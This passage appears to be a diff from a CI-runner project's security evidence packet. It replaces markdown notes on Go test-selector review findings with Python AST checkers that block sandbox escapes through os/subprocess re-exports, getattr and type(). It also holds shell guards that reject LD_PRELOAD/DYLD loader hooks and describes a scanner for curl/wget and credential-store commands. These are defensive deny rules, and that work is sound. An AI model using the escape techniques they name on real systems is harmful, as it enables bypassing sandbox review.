Reproduced: the prior wrapper parsed only single-dash `-run`/`-skip`, so a later equivalent `--run`/`--skip` could expand the actual selector after a narrower list digest had passed. Corrected: wrapper and metadata validation reject separated and equals-form `--run`/`--skip` before `go env`, metadata or list execution, and static selector discovery recognizes both dash widths. Focused synthetic red-before-green probes covered all four double-dash forms, patched direct Go-child launches, required empty pre-guard output and therefore recorded no test body or result; no live operation or secret-bearing input was used. | +def python_module_value_escape_violation(tree, parents, safe_marker): + """Keep security-sensitive modules on direct, inspectable attribute paths.""" + protected = {"os", "subprocess", "shutil", "signal", "sys", "pathlib", "tempfile", "warnings", "builtins", "importlib", "ast"} + names = { + alias.asname or alias.name.split(".")[0] + for node in ast.walk(tree) + if isinstance(node, ast.Import) + for alias in node.names + if alias.name.split(".")[0] in protected + } + path_modules = { + alias.asname or alias.name + for node in ast.walk(tree) + if isinstance(node, ast.ImportFrom) and node.module == "os" + for alias in node.names + if alias.name == "path" + } + names.update(path_modules) + os_names = python_assigned_module_names(tree, "os") + tempfile_names = {"tempfile"} | python_assigned_module_names(tree, "tempfile") + for node in ast.walk(tree): + if isinstance(node, ast.ImportFrom) and node.module in protected and any( + imported.name.startswith("_") for imported in node.names + ): + return f"Python private standard-library re-export is not reviewed on line {node.lineno}" + if not isinstance(node, ast.Call) or not isinstance(node.func, ast.Name): + continue + if node.func.id == "getattr" and len(node.args) >= 2: + module_value = node.args[0] + if isinstance(module_value, ast.Name) and module_value.id in tempfile_names: + attributes = python_static_string_values(node.args[1], tree) + if not attributes or any(attribute.startswith("_") for attribute in attributes): + return f"Python dynamic private standard-library lookup is not reviewed on line {node.lineno}" + if node.func.id == "vars" and node.args: + module_value = node.args[0] + if isinstance(module_value, ast.Name) and module_value.id in tempfile_names: + return f"Python standard-library module dictionary lookup is not reviewed on line {node.lineno}" + changed = True + while changed: + changed = False + for node in ast.walk(tree): + if isinstance(node, ast.Assign): + targets, value = node.targets, node.value + elif isinstance(node, (ast.AnnAssign, ast.NamedExpr)): + targets, value = [node.target], node.value + else: + continue + if isinstance(value, ast.Name) and value.id in names: + for target in targets: + if isinstance(target, ast.Name) and target.id not in names: + names.add(target.id) + changed = True + if ( + isinstance(target, ast.Name) and value.id in path_modules + and target.id not in path_modules + ): + path_modules.add(target.id) + changed = True -The two new exact-head findings -on `95cd9210620c54e098ecbe0df1217af1659f0c74`—[3999634756](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999634756) -and [3999634759](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999634759)—are -covered by the controller-side `TestAmbiguousCreateNeverRetriesAfterRestart` -entry in the livecanary reconciliation selector and the seven direct liveworker -runtime contracts in the worker selector, with matching list-only/declaration/tag -checks above. The five new exact-head findings -on `4a4e159ce29414fa8e5bdf7a0d0e5d9b8d038c67`—[3999599127](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999599127), -[3999599130](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999599130), -[3999599132](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999599132), -[3999599134](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999599134), -and [3999599136](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999599136)—are covered by the explicit liveworker Docker-inspection and worker-preparation selectors, the suffixed livecanary reconciliation families, and the matching list-only/declaration checks above. -The prior five exact-head findings -on `080b9c29c0c056dffd03f54567b593a426a1909d`—[3999566558](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999566558), -[3999566563](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999566563), -[3999566567](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999566567), -[3999566570](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999566570), -and [3999566571](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999566571)—are covered by the worker/runtime and canonical-preparation selectors, the tagged livecanary invocation, and the explicit Runner pin/source-audit gate above. -The prior four exact-head -findings [3999532146](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999532146), -[3999532149](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999532149), -[3999532151](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999532151), -and [3999532158](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999532158) -are covered by these selector, partition, and validation-scope corrections. -The prior six exact-head findings [3999486217](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999486217), -[3999486223](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999486223), -[3999486229](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999486229), -[3999486231](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999486231), -[3999486236](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999486236), -and [3999486239](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999486239) -remain covered by the existing selector and partition corrections. The -three exact-head findings on `c4b73c75db9556f96491fb8a10a8257408a7d11b`— -[3999807788](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999807788), -[3999807790](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999807790), -and [3999807791](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999807791)—are -addressed by the literal selector expected-set/count audit, its list-only -root-safe invocation, and the scoped tracked/untracked source audit above. -The historical [secret/error finding 3999010986](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r3999010986) -remains addressed by the dedicated Secret and error handling row and its root -and livecanary commands above; no issue, Project, or Goal state is changed. + non_store_bound_names = { + node.arg for node in ast.walk(tree) if isinstance(node, ast.arg) + } | { + node.name for node in ast.walk(tree) + if isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef, ast.ClassDef)) + } | { + alias.asname or alias.name.split(".")[0] + for node in ast.walk(tree) + if isinstance(node, (ast.Import, ast.ImportFrom)) + for alias in node.names + } | { + node.name for node in ast.walk(tree) + if isinstance(node, (ast.ExceptHandler, ast.MatchAs, ast.MatchStar)) + and node.name is not None + } | { + node.rest for node in ast.walk(tree) + if isinstance(node, ast.MatchMapping) and node.rest is not None + } + rebound_names = non_store_bound_names | { + node.id for node in ast.walk(tree) + if isinstance(node, ast.Name) and isinstance(node.ctx, ast.Store) + } -### Current exact-head P2 findings at `36ec84b27c934a25484b0a5391af0a20c7643912` + def reviewed_namespace_argument(node, parent): + return ( + isinstance(parent, ast.Call) + and len(parent.args) in {2, 3} + and not parent.keywords + and node in parent.args[1:] + and not {"exec", "compile"}.intersection(rebound_names) + and reviewed_python_exec_call(parent, safe_marker, tree) + ) -The three fresh Codex P2 findings on the exact PR #78 head named in this -correction were reproduced before editing and are addressed below. Their -reproductions and focused checks are packet-local static/wrapper evidence; no -GitHub review metadata is edited here, and no finding is marked resolved by -head movement alone. + def reviewed_dictionary_storage(dictionary): + if not dictionary.keys or not all( + isinstance(key, ast.Constant) and isinstance(key.value, str) + for key in dictionary.keys + ): + return False + keys = [key.value for key in dictionary.keys] + if len(keys) != len(set(keys)): + return False + declaration = parents.get(dictionary) + if reviewed_namespace_argument(dictionary, declaration): + return True + if not ( + isinstance(declaration, ast.Assign) + and declaration.value is dictionary + and len(declaration.targets) == 1 + and isinstance(declaration.targets[0], ast.Name) + and not isinstance(python_enclosing_scope(declaration, parents), ast.ClassDef) + ): + return False + name = declaration.targets[0].id + if sum( + isinstance(candidate, ast.Name) + and isinstance(candidate.ctx, ast.Store) + and candidate.id == name + for candidate in ast.walk(tree) + ) != 1 or name in non_store_bound_names: + return False + module_keys = { + key for key, value in zip(keys, dictionary.values) + if isinstance(value, ast.Name) and value.id in names + } + for reference in ast.walk(tree): + if not isinstance(reference, ast.Name) or not isinstance(reference.ctx, ast.Load) or reference.id != name: + continue + parent = parents.get(reference) + if ( + isinstance(parent, ast.Subscript) and parent.value is reference + and isinstance(parent.slice, ast.Constant) + and isinstance(parent.slice.value, str) + and parent.slice.value not in module_keys + ): + continue + if reviewed_namespace_argument(reference, parent): + continue + if isinstance(parent, ast.Compare) and reference in parent.comparators and all( + isinstance(operator, (ast.In, ast.NotIn)) for operator in parent.ops + ): + continue + return False + return True -| Finding | Red reproduction and minimal correction | Focused result and boundary | -|---|---|---| -| Pre-Go-child selector guard omitted Go `-toolexec` separated and equals forms. | Before the correction, the wrapper had no `-toolexec` rejection, so synthetic `-toolexec FILE` and `-toolexec=FILE` inputs could reach the first Go metadata child. The wrapper now rejects both forms immediately after command-shape parsing, before `go env`, metadata, source derivation or execution. | The direct-child monkeypatch regression rejected both forms with empty pre-guard output; no Go test body, live operation or tool hook ran. | -| Prescription audit could fail to account for standard assignment-prefixed `go test` selector commands. | A synthetic `GOTOOLCHAIN=go1.26.8 go test ... -run`/`-skip` pair was the red audit case: a wrapper-only count could remain 28 while an unguarded standard command was present. The logical audit now discovers assignment-prefixed, `env`-wrapped, continued and double-dash forms first, rejects every unguarded candidate, and asserts the 28 logical selector count equals the 28 `go_test_checked` records. | Assignment-prefixed probes were rejected as unguarded and the documented selector count remained exact; no command body or live operation ran. | -| Source/init gate did not account for effectful package variables or imported init paths before `go test -list`. | The prior `go test -list` validation could start the test binary before the expected set was proven, while the source gate only checked active-package `func init`. The minimal safe correction replaces both `go test -list` probes with source-derived top-level test names from the exact `go list -json -test` file set, applies a fail-closed Go-RE2-compatible selector subset, and retains the reviewed source/init gate. | A synthetic package-level effect and imported `init` were parsed without execution; the wrapper contains no `go test -list` child. No initializer, Go test body or live operation ran. | + safe_storage = { + id(value) + for dictionary in ast.walk(tree) + if isinstance(dictionary, ast.Dict) and reviewed_dictionary_storage(dictionary) + for value in dictionary.values + if isinstance(value, ast.Name) and value.id in names + } + tree._issue79_reviewed_module_value_storage = safe_storage + for node in ast.walk(tree): + if isinstance(node, ast.Attribute) and isinstance(node.value, ast.Name) and node.value.id in names: + if node.attr.startswith("_"): + return f"Python private standard-library module attribute is not reviewed on line {node.lineno}" + if node.value.id in path_modules: + return f"Python OS path module alias is not reviewed on line {node.lineno}" + if node.attr == "path" and node.value.id in os_names and node.value.id != "os": + return f"Python OS path module through an OS alias is not reviewed on line {node.lineno}" + if python_dotted_name(node) == "os.path": + parent = parents.get(node) + if not isinstance(parent, ast.Attribute) or parent.value is not node: + return f"Python OS path module value escapes its reviewed attribute path on line {node.lineno}" + if parent.attr.startswith("__") or parent.attr == "expandvars": + return f"Python OS path reflection/environment expansion is not reviewed on line {node.lineno}" + path_member_call_node = parents.get(parent) + if not isinstance(path_member_call_node, ast.Call) or path_member_call_node.func is not parent: + return f"Python OS path member escapes its reviewed direct call on line {node.lineno}" + for node in ast.walk(tree): + if not isinstance(node, ast.Name) or not isinstance(node.ctx, ast.Load) or node.id not in names: + continue + parent = parents.get(node) + if id(node) in safe_storage: + continue + if isinstance(parent, ast.Attribute) and parent.value is node: + continue + if isinstance(parent, ast.Assign) and parent.value is node and all( + isinstance(target, ast.Name) for target in parent.targets + ): + continue + if isinstance(parent, (ast.AnnAssign, ast.NamedExpr)) and parent.value is node and isinstance(parent.target, ast.Name): + continue + return f"Python security module value escapes its reviewed attribute path on line {node.lineno}" + return None -The exact wrapper-replay, selector-audit and source-init-boundary outputs above -are the TDD-like red-before-green record for this head correction. The old -`go test -list` records remain explicitly historical/pre-correction evidence; -the current prescription boundary is non-executing source derivation followed -by the guarded original command only after count/set validation. -### Current exact-head command-prefix selector finding +def python_subprocess_os_reexport_violation(tree): + """Reject OS re-exports, including private names, from reviewed modules.""" + subprocess_names = { + alias.asname or alias.name + for node in ast.walk(tree) + if isinstance(node, ast.Import) + for alias in node.names + if alias.name == "subprocess" + } + reviewed_module_names = { + alias.asname or alias.name.split(".", 1)[0] + for node in ast.walk(tree) + if isinstance(node, ast.Import) + for alias in node.names + if alias.name in reviewed_python_import_modules + } + name_bind_counts = {} + for node in ast.walk(tree): + if isinstance(node, ast.Name) and isinstance(node.ctx, ast.Store): + name_bind_counts[node.id] = name_bind_counts.get(node.id, 0) + 1 + literal_dicts = { + target.id: node.value + for node in ast.walk(tree) + if isinstance(node, ast.Assign) and isinstance(node.value, ast.Dict) + for target in node.targets + if isinstance(target, ast.Name) and name_bind_counts[target.id] == 1 + } + for node in ast.walk(tree): + if isinstance(node, ast.ImportFrom) and node.module in reviewed_python_import_modules and any( + alias.name in {"os", "_os"} for alias in node.names + ): + return "Python heredoc imports an unreviewed OS module re-export" + changed = True + while changed: + changed = False + def may_refer_to_module(value, module_names): + if isinstance(value, ast.Name): + return value.id in module_names + if isinstance(value, (ast.Tuple, ast.List, ast.Set)): + return any(may_refer_to_module(item, module_names) for item in value.elts) + if isinstance(value, ast.Dict): + return any(may_refer_to_module(item, module_names) for item in value.values) + if isinstance(value, ast.Call): + if ( + isinstance(value.func, ast.Attribute) + and value.func.attr == "copy" + and may_refer_to_module(value.func.value, module_names) + ): + return True + if ( + isinstance(value.func, ast.Name) + and value.func.id in {"dict", "list", "tuple", "set"} + and any(may_refer_to_module(item, module_names) for item in value.args) + ): + return True + if isinstance(value, (ast.BinOp, ast.BoolOp)): + operands = ( + [value.left, value.right] + if isinstance(value, ast.BinOp) + else value.values + ) + return any(may_refer_to_module(item, module_names) for item in operands) + if isinstance(value, ast.Subscript): + if ( + isinstance(value.value, ast.Name) + and value.value.id in literal_dicts + and isinstance(value.slice, ast.Constant) + ): + source = literal_dicts[value.value.id] + matching_values = [ + item + for key, item in zip(source.keys, source.values) + if isinstance(key, ast.Constant) and key.value == value.slice.value + ] + if matching_values: + return any(may_refer_to_module(item, module_names) for item in matching_values) + return False + return may_refer_to_module(value.value, module_names) + if isinstance(value, ast.IfExp): + return ( + may_refer_to_module(value.body, module_names) + or may_refer_to_module(value.orelse, module_names) + ) + if isinstance(value, ast.NamedExpr): + return may_refer_to_module(value.value, module_names) + return False -The Codex finding on the exact prior packet head -[`ec5eb8087420bbbbb2a8ccf5c5df190b3c644895`](https://github.com/1XP-AI/gh-runnerd/commit/ec5eb8087420bbbbb2a8ccf5c5df190b3c644895)—[4000820533](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4000820533)—was reproduced against that immutable head and corrected here; it is not treated as resolved by a new head or staleness alone: + def may_refer_to_subprocess(value): + return may_refer_to_module(value, subprocess_names) -| Finding and immutable source | Reproduction and disposition | -|---|---| -| [4000820533](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4000820533), source [ec5eb8087420bbbbb2a8ccf5c5df190b3c644895](https://github.com/1XP-AI/gh-runnerd/commit/ec5eb8087420bbbbb2a8ccf5c5df190b3c644895) | Reproduced: the prior static shell and logical-command selector regexes did not discover `command go test ./livecanary -run ...` or `GOTOOLCHAIN=go1.26.8 command go test ./livecanary -skip=...`, so a wrapper-only count could remain 28; the prior wrapper had no explicit command-prefix guard. Corrected: both audits now discover bare and assignment-prefixed `command [options] go test` forms, while the wrapper and package/build metadata audit reject any `command` prefix before the first Go child. Focused red/green probes covered the two exact forms, option-bearing discovery and no-Go-child rejection with no pre-guard output; no Go test body, live operation, credential or private path was used. | + def may_refer_to_reviewed_module(value): + return may_refer_to_module(value, reviewed_module_names) -### Current exact-head P2 findings at `3bc8445567fe68cc355cf3f88f0c962a41e9cad5` + def bind_module_target(target, value, module_names): + nonlocal changed + if isinstance(target, ast.Name): + if may_refer_to_module(value, module_names) and target.id not in module_names: + module_names.add(target.id) + changed = True + elif isinstance(target, (ast.Tuple, ast.List)): + if isinstance(value, (ast.Tuple, ast.List)): + for element, source in zip(target.elts, value.elts): + bind_module_target(element, source, module_names) + elif may_refer_to_module(value, module_names): + for element in target.elts: + bind_module_target(element, value, module_names) -These three fresh roots were observed on the immutable packet head at task -start. Each row preserves the discussion URL and exact source blob where the -gap existed, then cites the current wrapper/probe line anchors and the -immutable red/current-green evidence; no row treats head movement as proof of -resolution. + for node in ast.walk(tree): + if isinstance(node, ast.Assign): + for target in node.targets: + if isinstance(target, (ast.Attribute, ast.Subscript)) and may_refer_to_subprocess(node.value): + return "Python heredoc stores the subprocess module in an unreviewed object" + bind_module_target(target, node.value, subprocess_names) + bind_module_target(target, node.value, reviewed_module_names) + elif isinstance(node, (ast.AnnAssign, ast.NamedExpr)): + bind_module_target(node.target, node.value, subprocess_names) + bind_module_target(node.target, node.value, reviewed_module_names) + for node in ast.walk(tree): + reviewed_base_names = {"Exception", "ValueError"} + if ( + (isinstance(node, ast.Name) and node.id in reviewed_base_names and isinstance(node.ctx, ast.Store)) + or (isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef, ast.ClassDef)) and node.name in reviewed_base_names) + or (isinstance(node, ast.arg) and node.arg in reviewed_base_names) + or (isinstance(node, ast.ExceptHandler) and node.name in reviewed_base_names) + or ( + isinstance(node, (ast.Import, ast.ImportFrom)) + and any((alias.asname or alias.name) in reviewed_base_names for alias in node.names) + ) + ): + return "Python heredoc shadows a reviewed built-in exception base" + if isinstance(node, ast.ClassDef) and ( + node.keywords + or any( + not isinstance(base, ast.Name) + or base.id not in {"Exception", "ValueError"} + for base in node.bases + ) + ): + return "Python heredoc declares an unreviewed class base or metaclass" + if ( + (isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef, ast.ClassDef)) and node.name == "type") + or (isinstance(node, ast.Name) and node.id == "type" and isinstance(node.ctx, ast.Store)) + or (isinstance(node, ast.arg) and node.arg == "type") + or ( + isinstance(node, (ast.Import, ast.ImportFrom)) + and any(alias.asname == "type" for alias in node.names) + ) + ): + return "Python heredoc shadows the reviewed built-in type constructor" + if ( + isinstance(node, ast.Attribute) + and isinstance(node.value, ast.Name) + and ( + node.value.id == "type" + or python_assigned_callable_alias(node.value.id, "type", tree) + ) + ): + return "Python heredoc accesses an unreviewed runtime metatype attribute" + if ( + isinstance(node, ast.Call) + and isinstance(node.func, ast.Name) + and ( + node.func.id == "type" + or python_assigned_callable_alias(node.func.id, "type", tree) + ) + ): + reviewed_fake_os = ( + node.func.id == "type" + and not node.keywords + and len(node.args) == 3 + and isinstance(node.args[0], ast.Constant) + and node.args[0].value == "FakeOS" + and isinstance(node.args[1], ast.Tuple) + and not node.args[1].elts + and isinstance(node.args[2], ast.Dict) + and len(node.args[2].keys) == 1 + and isinstance(node.args[2].keys[0], ast.Constant) + and node.args[2].keys[0].value == "environ" + and isinstance(node.args[2].values[0], ast.Dict) + and all( + isinstance(item, ast.Constant) and isinstance(item.value, str) + for item in node.args[2].values[0].values + ) + ) + if not reviewed_fake_os: + return "Python heredoc constructs or obtains an unreviewed runtime type" + if ( + isinstance(node, ast.Attribute) + and node.attr == "__class__" + ): + return "Python heredoc obtains an unreviewed runtime class" + if ( + isinstance(node, ast.Call) + and isinstance(node.func, ast.Name) + and ( + node.func.id in {"getattr", "vars"} + or python_assigned_callable_alias(node.func.id, "getattr", tree) + or python_assigned_callable_alias(node.func.id, "vars", tree) + ) + and node.args + and isinstance(node.args[0], ast.Name) + and ( + node.args[0].id == "dict" + or python_assigned_callable_alias(node.args[0].id, "dict", tree) + ) + ): + return "Python heredoc dynamically accesses a dictionary mutator descriptor" + if ( + isinstance(node, ast.Attribute) + and isinstance(node.value, ast.Name) + and ( + node.value.id == "dict" + or python_assigned_callable_alias(node.value.id, "dict", tree) + ) + ): + return "Python heredoc accesses an unreviewed dictionary type attribute" + if ( + isinstance(node, ast.Attribute) + and isinstance(node.value, ast.Name) + and node.value.id in subprocess_names + and node.attr in {"update", "setdefault", "__setitem__", "__ior__", "clear", "pop", "popitem"} + ): + return "Python heredoc mutates a subprocess-bearing container indirectly" + if ( + isinstance(node, ast.AugAssign) + and isinstance(node.target, ast.Name) + and node.target.id in subprocess_names + ): + return "Python heredoc rebinds a subprocess-bearing container indirectly" + if ( + isinstance(node, ast.Attribute) + and node.attr in {"os", "_os"} + and may_refer_to_reviewed_module(node.value) + ): + return "Python heredoc accesses an unreviewed OS module re-export" + if ( + isinstance(node, ast.Call) + and isinstance(node.func, ast.Name) + and ( + node.func.id == "getattr" + or python_assigned_callable_alias(node.func.id, "getattr", tree) + ) + and len(node.args) >= 2 + and python_static_string_values(node.args[1], tree) & {"os", "_os"} + ): + return "Python heredoc dynamically accesses an OS module re-export" + if ( + isinstance(node, ast.Subscript) + and isinstance(node.slice, ast.Constant) + and node.slice.value in {"os", "_os"} + and ( + (isinstance(node.value, ast.Attribute) and node.value.attr == "__dict__") + or ( + isinstance(node.value, ast.Call) + and isinstance(node.value.func, ast.Name) + and ( + node.value.func.id == "vars" + or python_assigned_callable_alias(node.value.func.id, "vars", tree) + ) + ) + ) + ): + return "Python heredoc looks up an OS module through a module dictionary" + if isinstance(node, ast.Attribute) and isinstance(node.value, ast.Name): + if node.value.id in subprocess_names and node.attr in { + "os", "__dict__", "__getattribute__" + }: + return "Python heredoc accesses an unreviewed subprocess module re-export" + if ( + isinstance(node, ast.Call) + and isinstance(node.func, ast.Name) + and ( + node.func.id in {"getattr", "vars"} + or python_assigned_callable_alias(node.func.id, "getattr", tree) + or python_assigned_callable_alias(node.func.id, "vars", tree) + ) + and node.args + and may_refer_to_subprocess(node.args[0]) + ): + return "Python heredoc dynamically accesses a subprocess module re-export" + return None -| Finding and immutable source | Red reproduction, correction and final evidence | -|---|---| -| [4001124039](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4001124039), source [3bc8445567fe68cc355cf3f88f0c962a41e9cad5 lines 858-914](https://github.com/1XP-AI/gh-runnerd/blob/3bc8445567fe68cc355cf3f88f0c962a41e9cad5/docs/evidence/g01-recovery-packet.md#L858-L914) | Reproduced: the immutable source-name helper omitted top-level `Fuzz*`, while `paired-all-except` has no `-run`; an unrepresented fuzz seed could therefore execute. Corrected: the wrapper's pre-Go-child `source_fuzz_guard` scans package test declarations and `source_test_names` rejects `Fuzz*` before digest derivation. Immutable red/current-green evidence is in [the fuzz-target correction](#root-4001124039-top-level-fuzz-declarations); final wrapper anchors are `source_fuzz_declarations`, `source_fuzz_guard`, and the defense-in-depth `Fuzz*` rejection in the wrapper. | -| [4001124042](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4001124042), source [3bc8445567fe68cc355cf3f88f0c962a41e9cad5 lines 917-936](https://github.com/1XP-AI/gh-runnerd/blob/3bc8445567fe68cc355cf3f88f0c962a41e9cad5/docs/evidence/g01-recovery-packet.md#L917-L936) | Reproduced: the immutable helper passed Go `\\w` to Python, where Unicode `é` matched despite Go's ASCII Perl-class semantics. Corrected: preflight rejects unescaped `\\b`, `\\B`, `\\w`, `\\W`, `\\d`, `\\D`, `\\s`, `\\S` before Python compilation/metadata, while escaped literal backslashes remain supported. Immutable red/current-green evidence is at packet lines 2958-3071; final anchors are `reject_python_semantic_regexp_constructs` at lines 917-932, `translate_go_posix_classes`/`reject_unsupported_regexp_syntax` at lines 935-986 and preflight ordering at lines 1013-1017. | -| [4001124048](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4001124048), source [3bc8445567fe68cc355cf3f88f0c962a41e9cad5 lines 3726-3750](https://github.com/1XP-AI/gh-runnerd/blob/3bc8445567fe68cc355cf3f88f0c962a41e9cad5/docs/evidence/g01-recovery-packet.md#L3726-L3750) | Reproduced: the immutable anchored scan missed curl/wget and `env gh`/`command docker` wrappers. Corrected: the current scanner inspects only executable shell fences, joins continuations, skips Python heredocs/comments/prose/URLs/fixtures and strips assignment/env/command wrappers before checking curl/wget, Docker, Lima, Keychain, launchd and gh API/workflow forms. Static synthetic probes and the current scan are at packet lines 4164-4310. | -### Current exact-head P2 findings at `423d4fc501120a014e63f77d3ef6652606d0326a` +python_path_mutator_destination_keywords = { + "copy": "target", + "copy_into": "target_dir", + "move_into": "target_dir", +} -These two fresh Codex P2 findings from review `5192699095` were observed on -the immutable packet head at task start. Each red witness reads only that -prior packet blob; each current green probe is source-only or static and -proves the no-Go-child boundary without running a test body or live operation. -#### Root 4001254021: consecutive source comments +def python_path_mutator_destination(call_node, method): + """Return only a statically visible destination for new Path mutators.""" + keyword_name = python_path_mutator_destination_keywords.get(method) + if keyword_name is None: + return None + if len(call_node.args) > 1 or any( + isinstance(argument, ast.Starred) for argument in call_node.args + ): + return None + named_destinations = [ + keyword.value for keyword in call_node.keywords if keyword.arg == keyword_name + ] + if ( + len(named_destinations) > 1 + or any(keyword.arg is None for keyword in call_node.keywords) + or (call_node.args and named_destinations) + ): + return None + for keyword in call_node.keywords: + if keyword.arg == keyword_name: + continue + if not ( + method in {"copy", "copy_into"} + and keyword.arg == "follow_symlinks" + and isinstance(keyword.value, ast.Constant) + and isinstance(keyword.value.value, bool) + ): + return None + if call_node.args: + return call_node.args[0] + if named_destinations: + return named_destinations[0] + return None -The immutable red witness shows that the prior source-name helper returned -after the first line comment. A valid top-level `TestHidden` declaration -following consecutive line/block comments was therefore omitted: -```sh -set -euo pipefail -[ "${PATH-}" = "/opt/homebrew/bin:/usr/bin:/bin" ] && [ -x /opt/homebrew/bin/python3 ] || { printf '%s\n' 'reviewed canonical PATH and absolute Python interpreter required' >&2; exit 1; } -[ -z "${LD_PRELOAD-}" ] && [ -z "${LD_PRELOAD_32-}" ] && [ -z "${LD_PRELOAD_64-}" ] && [ -z "${LD_LIBRARY_PATH-}" ] && [ -z "${LD_LIBRARY_PATH_32-}" ] && [ -z "${LD_LIBRARY_PATH_64-}" ] && [ -z "${LD_AUDIT-}" ] && [ -z "${DYLD_INSERT_LIBRARIES-}" ] && [ -z "${DYLD_LIBRARY_PATH-}" ] && [ -z "${DYLD_FALLBACK_LIBRARY_PATH-}" ] && [ -z "${DYLD_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_FALLBACK_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_ROOT_PATH-}" ] || { printf '%s\n' 'inherited dynamic-loader hooks are not allowed before Python startup' >&2; exit 1; } -/opt/homebrew/bin/python3 -I - <<'PY' -import subprocess -from pathlib import Path -from tempfile import TemporaryDirectory +def python_known_non_path_set_copy_receiver(node, tree, parents, active=None): + """Prove .copy() receives a set from literals, builtins or set-preserving calls.""" + if active is None: + active = set() -starting_head = "423d4fc501120a014e63f77d3ef6652606d0326a" -previous = subprocess.check_output( - [ - "git", - "show", - f"{starting_head}:docs/evidence/g01-recovery-packet.md", - ], - text=True, -) -wrapper_start = previous.index("\nimport hashlib\n", previous.index("go_test_checked()")) + 1 -wrapper_end = previous.index("\nPY\n}", wrapper_start) -previous_wrapper = previous[wrapper_start:wrapper_end] -helper_start = previous_wrapper.index("def skip_source_ignored") -helper_end = previous_wrapper.index("\nall_test_names = []", helper_start) -namespace = {"label": "prior-comment-red"} -exec(compile(previous_wrapper[helper_start:helper_end], "", "exec"), namespace) -source_names = namespace["source_test_names"] -with TemporaryDirectory() as directory: - source_path = Path(directory) / "comments_test.go" - source_path.write_text( - "package p\n" - "import \"testing\"\n" - "func\n" - "// first line\n" - "/* middle block */\n" - "// second line\n" - "TestHidden(t *testing.T) {}\n", - encoding="utf-8", - ) - if source_names(source_path) != []: - raise SystemExit( - "red reproduction setup changed: prior parser no longer omitted TestHidden" + if isinstance(node, ast.Set): + return True + if isinstance(node, ast.Call): + if python_unshadowed_builtin_call(node, {"set"}, tree, parents): + return True + return ( + isinstance(node.func, ast.Attribute) + and node.func.attr == "copy" + and python_known_non_path_set_copy_receiver( + node.func.value, tree, parents, active | {id(node)} + ) ) -print( - f"RED source-name comment gap: prior {starting_head} omitted TestHidden " - "after consecutive line/block comments" -) -PY -``` - -Recorded red output: - -```text -RED source-name comment gap: prior 423d4fc501120a014e63f77d3ef6652606d0326a omitted TestHidden after consecutive line/block comments -``` + if isinstance(node, ast.BinOp) and isinstance(node.op, ast.BitOr): + return ( + python_known_non_path_set_copy_receiver( + node.left, tree, parents, active | {id(node)} + ) + and isinstance(node.right, ast.Set) + ) + if isinstance(node, ast.BoolOp) and isinstance(node.op, ast.Or): + return all( + python_known_non_path_set_copy_receiver( + value, tree, parents, active | {id(node)} + ) + for value in node.values + ) + if not isinstance(node, ast.Name) or id(node) in active: + return False + scope = python_enclosing_scope(node, parents) + if scope is None: + return False + key = (id(scope), node.id) + if key in active: + return False + active = active | {key} + assignments = [] + for candidate in ast.walk(scope): + if isinstance(candidate, ast.Assign): + targets, value = candidate.targets, candidate.value + elif isinstance(candidate, (ast.AnnAssign, ast.NamedExpr)): + targets, value = [candidate.target], candidate.value + elif isinstance(candidate, ast.AugAssign): + targets, value = [candidate.target], ast.Constant(None) + else: + continue + if python_enclosing_scope(candidate, parents) is scope and any( + isinstance(target, ast.Name) and target.id == node.id for target in targets + ): + assignments.append(value) -The current source-only regression proves that the helper consumes all -consecutive ignored tokens and discovers `TestHidden`; it patches any attempted -Go child to fail, so discovery cannot silently expand into execution: + def target_binds_name(target): + if isinstance(target, ast.Name): + return target.id == node.id + if isinstance(target, ast.Starred): + return target_binds_name(target.value) + if isinstance(target, (ast.Tuple, ast.List)): + return any(target_binds_name(item) for item in target.elts) + return False -```sh -set -euo pipefail -[ "${PATH-}" = "/opt/homebrew/bin:/usr/bin:/bin" ] && [ -x /opt/homebrew/bin/python3 ] || { printf '%s\n' 'reviewed canonical PATH and absolute Python interpreter required' >&2; exit 1; } -[ -z "${LD_PRELOAD-}" ] && [ -z "${LD_PRELOAD_32-}" ] && [ -z "${LD_PRELOAD_64-}" ] && [ -z "${LD_LIBRARY_PATH-}" ] && [ -z "${LD_LIBRARY_PATH_32-}" ] && [ -z "${LD_LIBRARY_PATH_64-}" ] && [ -z "${LD_AUDIT-}" ] && [ -z "${DYLD_INSERT_LIBRARIES-}" ] && [ -z "${DYLD_LIBRARY_PATH-}" ] && [ -z "${DYLD_FALLBACK_LIBRARY_PATH-}" ] && [ -z "${DYLD_FRAMEWORK_PATH-}" ] && [ -z 